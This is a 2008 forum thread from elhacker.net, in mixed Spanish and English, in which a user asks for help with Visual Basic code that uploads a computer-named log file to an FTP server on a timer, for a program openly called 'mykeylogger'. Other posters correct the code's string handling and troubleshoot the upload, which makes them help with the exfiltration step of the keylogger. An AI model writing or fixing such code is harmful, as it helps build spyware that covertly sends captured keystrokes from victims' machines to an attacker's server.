Necesito su ayuda (con inet)

Iniciado por odesa, 21 Octubre 2008, 14:26 PM

0 Miembros y 2 Visitantes están viendo este tema.

odesa

Hola amigos
Hago una bitácora, quiero subir un archivo de registro (con el nombre del equipo) a mi ftp Me escribió un código, pero tomé un error.Mi programa puede crear archivo de registro con el ordenador name.But I No se puede cargar este archivo de registro a mi ftp con el nombre de mi equipo
error es: Runtype Miss match

código:
Private Sub Timer3_Timer()
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

¿Dónde está mal?

Thx for help

WestOn

Hi odesa, check this example related with FTP http://foro.elhacker.net/programacion_vb/subir_txt_por_ftp-t231928.15.html
Look example ---> seba123neo
if you have some problem returns to write here.

un saludo / a greeting
En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            

odesa

No I use this code in a logger.Not a rat!I am explain the problem in english.
My program can create log with using computername ok at aplication path!
But it can't upload this log file to my ftp ok!
For example:
Myprogram name is :mykeylogger
My computer name is:Cafeplus

In Same Folder
Mykeylogger.exe  --> Can create
Cafeplus.log      -->But Can't upload the ftp :(

When it try this I get an error "Runtime miss match"

And My Code is :
Private Sub Timer3_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

Private Sub Timer5_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "ftp://webadress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
End Sub

WestOn

Hi ;), the error this in the load from the file to the FTP, no?
And it does not serve the URL of above to you?!!!if can serve to you, yes yes yes!
mmm furthermore can serve to you as guide ;D, look again  :P

un saludo
En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            

odesa

the other way is:
Private Sub Timer3_Timer()
'On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute  "PUT  " & App.Path + " \ " + computername + .log " & " + computername + .log "

End Sub

But I take statement error:(
What is wrong?

el_c0c0

oh the error is evident:

Inet1.Execute  "PUT  " & App.Path + " \ " + computername + .log " & " + computername + .log "

you missed doble "

try this
Inet1.Execute  "PUT  " & App.Path & "\" & computername & ".log " &  computername & ".log "

bye
'-     coco
"Te voy a romper el orto"- Las hemorroides

odesa

Inet1.Execute  "PUT  " & App.Path & "\" & computername & ".log " &  computername & ".log "

when I use this
not upload but no error only saving :(
why don't working :(

el_c0c0

#7
2 things, do computername is declared? and has some valule?
and other, do the file exists? i mean, the path app.path & "\" & computername & ".log" must be valid, check that first

bye
'-     coco
"Te voy a romper el orto"- Las hemorroides